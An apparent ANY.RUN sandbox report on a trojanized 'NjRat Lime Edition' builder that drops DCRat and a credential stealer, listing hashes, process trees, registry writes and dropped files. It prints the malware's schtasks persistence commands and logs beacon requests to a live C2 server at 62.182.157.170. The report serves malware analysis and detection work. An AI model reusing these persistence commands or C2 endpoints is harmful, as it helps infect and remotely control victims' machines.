File name:

NjRat Lime Edition 0.8.0.exe

Full analysis: https://app.any.run/tasks/4614692d-8465-41d6-886d-542dc66f8fa9
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: May 21, 2022, 08:54:16
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
SecurityXploded
loader
rat
backdoor
dcrat
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

36E563C6A8405072DE58882A27C315AC

SHA1:

18A5EF02A1A2FFF820D060E6E35CD07C7C785B7E

SHA256:

C78556DC92F624B44BAA17BF39EE503E1C703F3BD3A9C328B79912F493EC2CE7

SSDEEP:

6144:08JsLcpjzTDDmHayakLkrb4NSarQWM4DXB:RzxzTDWikLSb4NS794DXB

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • NjRat Lime Edition 0.8.0.exe (PID: 508)
      • NjRat Lime Edition 0.8.0.exe (PID: 3192)
      • njrat_main.exe (PID: 1008)
      • njrat_hook.exe (PID: 3524)
      • csrss.exe (PID: 2744)

    • Drops executable file immediately after starts

      • NjRat Lime Edition 0.8.0.exe (PID: 3472)
      • NjRat Lime Edition 0.8.0.exe (PID: 508)
      • njrat_hook.exe (PID: 3524)
      • njrat_main.exe (PID: 1008)

    • Detected SecurityXploded stealer

      • njrat_main.exe (PID: 1008)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2104)
      • schtasks.exe (PID: 2876)
      • schtasks.exe (PID: 876)
      • schtasks.exe (PID: 2948)
      • schtasks.exe (PID: 2192)
      • schtasks.exe (PID: 632)
      • schtasks.exe (PID: 3168)
      • schtasks.exe (PID: 2080)
      • schtasks.exe (PID: 3504)
      • schtasks.exe (PID: 3468)
      • schtasks.exe (PID: 3772)
      • schtasks.exe (PID: 1788)
      • schtasks.exe (PID: 452)
      • schtasks.exe (PID: 3632)
      • schtasks.exe (PID: 3648)
      • schtasks.exe (PID: 2516)
      • schtasks.exe (PID: 900)
      • schtasks.exe (PID: 2552)
      • schtasks.exe (PID: 1520)
      • schtasks.exe (PID: 2132)
      • schtasks.exe (PID: 904)
      • schtasks.exe (PID: 2984)
      • schtasks.exe (PID: 4084)
      • schtasks.exe (PID: 1872)
      • schtasks.exe (PID: 2988)
      • schtasks.exe (PID: 1668)

    • Loads dropped or rewritten executable

      • NjRat Lime Edition 0.8.0.exe (PID: 3192)

    • DCRAT was detected

      • csrss.exe (PID: 2744)

    • Connects to CnC server

      • csrss.exe (PID: 2744)

  • SUSPICIOUS

    • Checks supported languages

      • NjRat Lime Edition 0.8.0.exe (PID: 3472)
      • NjRat Lime Edition 0.8.0.exe (PID: 508)
      • njrat_main.exe (PID: 1008)
      • NjRat Lime Edition 0.8.0.exe (PID: 3192)
      • njrat_hook.exe (PID: 3524)
      • cmd.exe (PID: 680)
      • csrss.exe (PID: 2744)

    • Drops a file with a compile date too recent

      • NjRat Lime Edition 0.8.0.exe (PID: 3472)
      • NjRat Lime Edition 0.8.0.exe (PID: 508)
      • njrat_main.exe (PID: 1008)
      • njrat_hook.exe (PID: 3524)

    • Reads the computer name

      • NjRat Lime Edition 0.8.0.exe (PID: 3472)
      • NjRat Lime Edition 0.8.0.exe (PID: 508)
      • njrat_main.exe (PID: 1008)
      • NjRat Lime Edition 0.8.0.exe (PID: 3192)
      • njrat_hook.exe (PID: 3524)
      • csrss.exe (PID: 2744)

    • Executable content was dropped or overwritten

      • NjRat Lime Edition 0.8.0.exe (PID: 3472)
      • njrat_main.exe (PID: 1008)
      • njrat_hook.exe (PID: 3524)
      • NjRat Lime Edition 0.8.0.exe (PID: 508)

    • Reads Environment values

      • NjRat Lime Edition 0.8.0.exe (PID: 508)
      • njrat_hook.exe (PID: 3524)
      • csrss.exe (PID: 2744)

    • Executed via WMI

      • schtasks.exe (PID: 2104)
      • schtasks.exe (PID: 876)
      • schtasks.exe (PID: 2876)
      • schtasks.exe (PID: 632)
      • schtasks.exe (PID: 2948)
      • schtasks.exe (PID: 3168)
      • schtasks.exe (PID: 2192)
      • schtasks.exe (PID: 2080)
      • schtasks.exe (PID: 3504)
      • schtasks.exe (PID: 3468)
      • schtasks.exe (PID: 3772)
      • schtasks.exe (PID: 1788)
      • schtasks.exe (PID: 452)
      • schtasks.exe (PID: 3648)
      • schtasks.exe (PID: 3632)
      • schtasks.exe (PID: 2516)
      • schtasks.exe (PID: 900)
      • schtasks.exe (PID: 2552)
      • schtasks.exe (PID: 1520)
      • schtasks.exe (PID: 904)
      • schtasks.exe (PID: 2132)
      • schtasks.exe (PID: 2988)
      • schtasks.exe (PID: 2984)
      • schtasks.exe (PID: 4084)
      • schtasks.exe (PID: 1872)
      • schtasks.exe (PID: 1668)

    • Creates files in the program directory

      • njrat_hook.exe (PID: 3524)

    • Creates files in the Windows directory

      • njrat_hook.exe (PID: 3524)

    • Creates executable files which already exist in Windows

      • njrat_hook.exe (PID: 3524)

    • Starts CMD.EXE for commands execution

      • njrat_hook.exe (PID: 3524)

    • Modifies files in Chrome extension folder

      • chrome.exe (PID: 3560)

  • INFO

    • Checks supported languages

      • schtasks.exe (PID: 2104)
      • schtasks.exe (PID: 876)
      • schtasks.exe (PID: 2876)
      • schtasks.exe (PID: 2192)
      • schtasks.exe (PID: 632)
      • schtasks.exe (PID: 2948)
      • schtasks.exe (PID: 3168)
      • schtasks.exe (PID: 3504)
      • schtasks.exe (PID: 2080)
      • schtasks.exe (PID: 3468)
      • schtasks.exe (PID: 3772)
      • schtasks.exe (PID: 452)
      • schtasks.exe (PID: 3632)
      • schtasks.exe (PID: 1788)
      • schtasks.exe (PID: 3648)
      • schtasks.exe (PID: 2516)
      • schtasks.exe (PID: 900)
      • schtasks.exe (PID: 1520)
      • schtasks.exe (PID: 2552)
      • schtasks.exe (PID: 2988)
      • schtasks.exe (PID: 2132)
      • schtasks.exe (PID: 904)
      • schtasks.exe (PID: 2984)
      • schtasks.exe (PID: 4084)
      • schtasks.exe (PID: 1872)
      • schtasks.exe (PID: 1668)
      • w32tm.exe (PID: 2524)
      • chrome.exe (PID: 3116)
      • chrome.exe (PID: 2352)
      • chrome.exe (PID: 3560)
      • chrome.exe (PID: 848)
      • chrome.exe (PID: 3448)
      • chrome.exe (PID: 2868)
      • chrome.exe (PID: 2980)
      • chrome.exe (PID: 2692)
      • chrome.exe (PID: 2876)
      • chrome.exe (PID: 2704)
      • chrome.exe (PID: 3060)
      • chrome.exe (PID: 2560)
      • chrome.exe (PID: 3540)
      • chrome.exe (PID: 2268)
      • chrome.exe (PID: 3424)
      • chrome.exe (PID: 2692)
      • chrome.exe (PID: 1244)
      • chrome.exe (PID: 3540)

    • Reads the computer name

      • schtasks.exe (PID: 2104)
      • schtasks.exe (PID: 876)
      • schtasks.exe (PID: 2876)
      • schtasks.exe (PID: 2192)
      • schtasks.exe (PID: 632)
      • schtasks.exe (PID: 2948)
      • schtasks.exe (PID: 3168)
      • schtasks.exe (PID: 2080)
      • schtasks.exe (PID: 3504)
      • schtasks.exe (PID: 3468)
      • schtasks.exe (PID: 3772)
      • schtasks.exe (PID: 1788)
      • schtasks.exe (PID: 452)
      • schtasks.exe (PID: 3632)
      • schtasks.exe (PID: 3648)
      • schtasks.exe (PID: 2516)
      • schtasks.exe (PID: 900)
      • schtasks.exe (PID: 2552)
      • schtasks.exe (PID: 1520)
      • schtasks.exe (PID: 904)
      • schtasks.exe (PID: 2132)
      • schtasks.exe (PID: 2984)
      • schtasks.exe (PID: 4084)
      • schtasks.exe (PID: 1872)
      • schtasks.exe (PID: 1668)
      • schtasks.exe (PID: 2988)
      • w32tm.exe (PID: 2524)
      • chrome.exe (PID: 3560)
      • chrome.exe (PID: 2352)
      • chrome.exe (PID: 3448)
      • chrome.exe (PID: 2560)
      • chrome.exe (PID: 2704)
      • chrome.exe (PID: 3424)
      • chrome.exe (PID: 1244)
      • chrome.exe (PID: 3540)

    • Manual execution by user

      • chrome.exe (PID: 3560)

    • Reads the hosts file

      • chrome.exe (PID: 3560)
      • chrome.exe (PID: 2352)

    • Application launched itself

      • chrome.exe (PID: 3560)

    • Reads settings of System Certificates

      • chrome.exe (PID: 2352)

    • Reads the date of Windows installation

      • chrome.exe (PID: 1244)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

Subsystem: Windows GUI
SubsystemVersion: 5.1
ImageVersion: -
OSVersion: 5.1
EntryPoint: 0x1eef0
UninitializedDataSize: -
InitializedDataSize: 93184
CodeSize: 201728
LinkerVersion: 14
PEType: PE32
TimeStamp: 2021:06:11 11:16:47+02:00
MachineType: Intel 386 or later, and compatibles

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 11-Jun-2021 09:16:47
Detected languages:
  • Process Default Language
Debug artifacts:
  • D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000110

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 6
Time date stamp: 11-Jun-2021 09:16:47
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x000313BA
0x00031400
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.70981
.rdata
0x00033000
0x0000A622
0x0000A800
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.22268
.data
0x0003E000
0x00023728
0x00001000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.70882
.didat
0x00062000
0x0000018C
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.35543
.rsrc
0x00063000
0x00008C08
0x00008E00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.27269
.reloc
0x0006C000
0x0000227C
0x00002400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
6.56418

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.26192
1875
Latin 1 / Western European
UNKNOWN
RT_MANIFEST
7
3.66634
508
Latin 1 / Western European
UNKNOWN
RT_STRING
8
3.71728
582
Latin 1 / Western European
UNKNOWN
RT_STRING
9
3.73856
422
Latin 1 / Western European
UNKNOWN
RT_STRING
10
3.55807
220
Latin 1 / Western European
UNKNOWN
RT_STRING
11
3.89762
1124
Latin 1 / Western European
UNKNOWN
RT_STRING
12
3.68258
356
Latin 1 / Western European
UNKNOWN
RT_STRING
13
3.61824
272
Latin 1 / Western European
UNKNOWN
RT_STRING
14
3.61995
344
Latin 1 / Western European
UNKNOWN
RT_STRING
15
3.4037
232
Latin 1 / Western European
UNKNOWN
RT_STRING

Imports

KERNEL32.dll
USER32.dll (delay-loaded)
gdiplus.dll
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
92
Monitored processes
53
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
drop and start start drop and start drop and start drop and start njrat lime edition 0.8.0.exe njrat lime edition 0.8.0.exe #SECURITYXPLODED njrat_main.exe njrat lime edition 0.8.0.exe no specs njrat_hook.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs cmd.exe no specs w32tm.exe no specs #DCRAT csrss.exe chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs njrat lime edition 0.8.0.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
452schtasks.exe /create /tn "njrat_main" /sc ONLOGON /tr "'C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\njrat_main.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ole32.dll
c:\windows\system32\rpcrt4.dll
508"C:\Users\admin\AppData\Local\Temp\RarSFX0\NjRat Lime Edition 0.8.0.exe" C:\Users\admin\AppData\Local\Temp\RarSFX0\NjRat Lime Edition 0.8.0.exe
NjRat Lime Edition 0.8.0.exe
User:
admin
Integrity Level:
HIGH
Description:
Exit code:
0
Version:
0.0.0.0
Modules
Images
c:\users\admin\appdata\local\temp\rarsfx0\njrat lime edition 0.8.0.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
632schtasks.exe /create /tn "SearchFilterHost" /sc ONLOGON /tr "'C:\Windows\Installer\{90140000-006E-0C0A-0000-0000000FF1CE}\SearchFilterHost.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
680"C:\Windows\System32\cmd.exe" /C "C:\Users\admin\AppData\Local\Temp\x9MNiYwikO.bat" C:\Windows\System32\cmd.exe—njrat_hook.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
848"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1072,7161770522927906505,11345345034309485817,131072 --enable-features=PasswordImport --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1932 /prefetch:1C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
86.0.4240.198
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\program files\google\chrome\application\86.0.4240.198\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\api-ms-win-downlevel-shell32-l1-1-0.dll
c:\windows\system32\shell32.dll
876schtasks.exe /create /tn "SearchFilterHost" /sc MINUTE /mo 8 /tr "'C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\SearchFilterHost.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\user32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
c:\windows\system32\rpcrt4.dll
900schtasks.exe /create /tn "njrat_hook" /sc ONLOGON /tr "'C:\Windows\L2Schemas\njrat_hook.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\kernel32.dll
c:\windows\system32\schtasks.exe
c:\windows\system32\kernelbase.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\lpk.dll
c:\windows\system32\user32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\usp10.dll
904schtasks.exe /create /tn "NjRat Lime Edition 0.8.0" /sc ONLOGON /tr "'C:\Windows\Migration\NjRat Lime Edition 0.8.0.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1008"C:\Users\admin\AppData\Local\Temp\njrat_main.exe" C:\Users\admin\AppData\Local\Temp\njrat_main.exe
NjRat Lime Edition 0.8.0.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\njrat_main.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24542_none_5c0717c7a00ddc6d\gdiplus.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1244"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1072,7161770522927906505,11345345034309485817,131072 --enable-features=PasswordImport --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1688 /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
86.0.4240.198
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\86.0.4240.198\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\api-ms-win-downlevel-shell32-l1-1-0.dll
c:\windows\system32\shell32.dll
Total events
16 645
Read events
16 468
Write events
175
Delete events
2

Modification events

(PID) Process:(3472) NjRat Lime Edition 0.8.0.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3472) NjRat Lime Edition 0.8.0.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3472) NjRat Lime Edition 0.8.0.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3472) NjRat Lime Edition 0.8.0.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(508) NjRat Lime Edition 0.8.0.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\NjRat Lime Edition 0_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(508) NjRat Lime Edition 0.8.0.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\NjRat Lime Edition 0_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(508) NjRat Lime Edition 0.8.0.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\NjRat Lime Edition 0_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(508) NjRat Lime Edition 0.8.0.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\NjRat Lime Edition 0_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(508) NjRat Lime Edition 0.8.0.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\NjRat Lime Edition 0_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(508) NjRat Lime Edition 0.8.0.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\NjRat Lime Edition 0_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
Executable files
29
Suspicious files
120
Text files
112
Unknown types
5

Dropped files

PID
Process
Filename
Type
3472NjRat Lime Edition 0.8.0.exeC:\Users\admin\AppData\Local\Temp\RarSFX0\NjRat Lime Edition 0.8.0.exeexecutable
MD5:—
SHA256:—
508NjRat Lime Edition 0.8.0.exeC:\Users\admin\AppData\Local\Temp\njrat_hook.exeexecutable
MD5:—
SHA256:—
3524njrat_hook.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\SearchFilterHost.exeexecutable
MD5:—
SHA256:—
3524njrat_hook.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\617403385cfa57text
MD5:—
SHA256:—
3524njrat_hook.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\taskeng.exeexecutable
MD5:—
SHA256:—
1008njrat_main.exeC:\Users\admin\AppData\Local\Temp\RarSFX1\WinMM.Net.dllexecutable
MD5:D4B80052C7B4093E10CE1F40CE74F707
SHA256:59E2AC1B79840274BDFCEF412A10058654E42F4285D732D1487E65E60FFBFB46
1008njrat_main.exeC:\Users\admin\AppData\Local\Temp\RarSFX1\Plugin Compiler.exeexecutable
MD5:E0B76AE4DC1E02BA1393B5D6F14286A3
SHA256:77D5859C1973D0E9AA2D28A0D8CC46ECC6678828B35A728D8C4EFEBF596FE448
1008njrat_main.exeC:\Users\admin\AppData\Local\Temp\RarSFX1\Mono.Cecil.dllexecutable
MD5:851EC9D84343FBD089520D420348A902
SHA256:CDADC26C09F869E21053EE1A0ACF3B2D11DF8EDD599FE9C377BD4D3CE1C9CDA9
1008njrat_main.exeC:\Users\admin\AppData\Local\Temp\RarSFX1\NjRat Lime Edition 0.8.0.exeexecutable
MD5:482C73CA6C64073D877CF9C510B872CA
SHA256:1C617CFB5D8A252E015F9937AF47D84F5557D7EBE25F2B2ACFEB03671BF08ED9
1008njrat_main.exeC:\Users\admin\AppData\Local\Temp\RarSFX1\Plugin\ch.dllexecutable
MD5:76C5688CD2EDE7B2F71AC5CFF2B61798
SHA256:AB0D773CCDB036010866C252DEDBEC7ECAC897E2E18147BE95A55342E3ACA165
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
99
TCP/UDP connections
19
DNS requests
14
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2744
csrss.exe
GET
200
62.182.157.170:80
http://62.182.157.170/PublictempLongpoll6/centralUniversalserver/publicdownloadsWordpressTraffic/linuxSqlgeneratorDownloads/Temporaryprocessor/privatePacket82/longpollPubliccdnMulti/Traffic8Baseexternal/videoJsPacketAsyncTraffic.php?5xHHHcv9umj8=A9fM78kv3x0gBN1yJBTGW80Ek08&5adb305be6b57d114eefcc8ce6719f85=QOwI2MlVWMlV2NwMTZzADMlBDOlFmY2cTY4EjNyEjMyYDN1QGO3EDO0gzM2kDMykzMzQTM4ITM&af2456c33ff92b00ccbdb00daccbf388=gY1UGOxImNmNmMyQ2MjBTNwM2YkZzY5QjM0MDZ4YzYllTN5MGZhdzN&77784164bcd789654b592e0546a81f4f=0VfiIiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiImN2NjRmY4EmYiFjNzUTYiFWN4MGM2cTY1IzN3QWN2gjYkNmMxMzNyIiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W
unknown
text
2.00 Kb
malicious
2744
csrss.exe
GET
200
62.182.157.170:80
http://62.182.157.170/PublictempLongpoll6/centralUniversalserver/publicdownloadsWordpressTraffic/linuxSqlgeneratorDownloads/Temporaryprocessor/privatePacket82/longpollPubliccdnMulti/Traffic8Baseexternal/videoJsPacketAsyncTraffic.php?5xHHHcv9umj8=A9fM78kv3x0gBN1yJBTGW80Ek08&5adb305be6b57d114eefcc8ce6719f85=QOwI2MlVWMlV2NwMTZzADMlBDOlFmY2cTY4EjNyEjMyYDN1QGO3EDO0gzM2kDMykzMzQTM4ITM&af2456c33ff92b00ccbdb00daccbf388=gY1UGOxImNmNmMyQ2MjBTNwM2YkZzY5QjM0MDZ4YzYllTN5MGZhdzN&18b1e2605681a7b5474eae64e9281479=d1nI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYis3W&77784164bcd789654b592e0546a81f4f=0VfiIiOikzM3gjYwIDO4kzNzQGZ5UDO0ETO2gjY4IjMilTZ0Y2YiwiI3I2MiVmM1QWNiRzYjFDMhVjZyM2MyQDOxYjY0EmN1kDZmNWNjJGOiJiOiETYkRjZmRGNzMTOxYDN3MGM1QzYiZWNhZmYykDO3IDOiwiI5cjY1Y2YiZjY3YWZmV2NyMzYxcTMlBjZjZGMhhzNwYDZ5cTMxEjY5IiOiMzMkBTMiJGO3cjYzQmNwcTZyMWOxAzYlJDNjdjNllzYisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWS610Z3dVW1lzVhp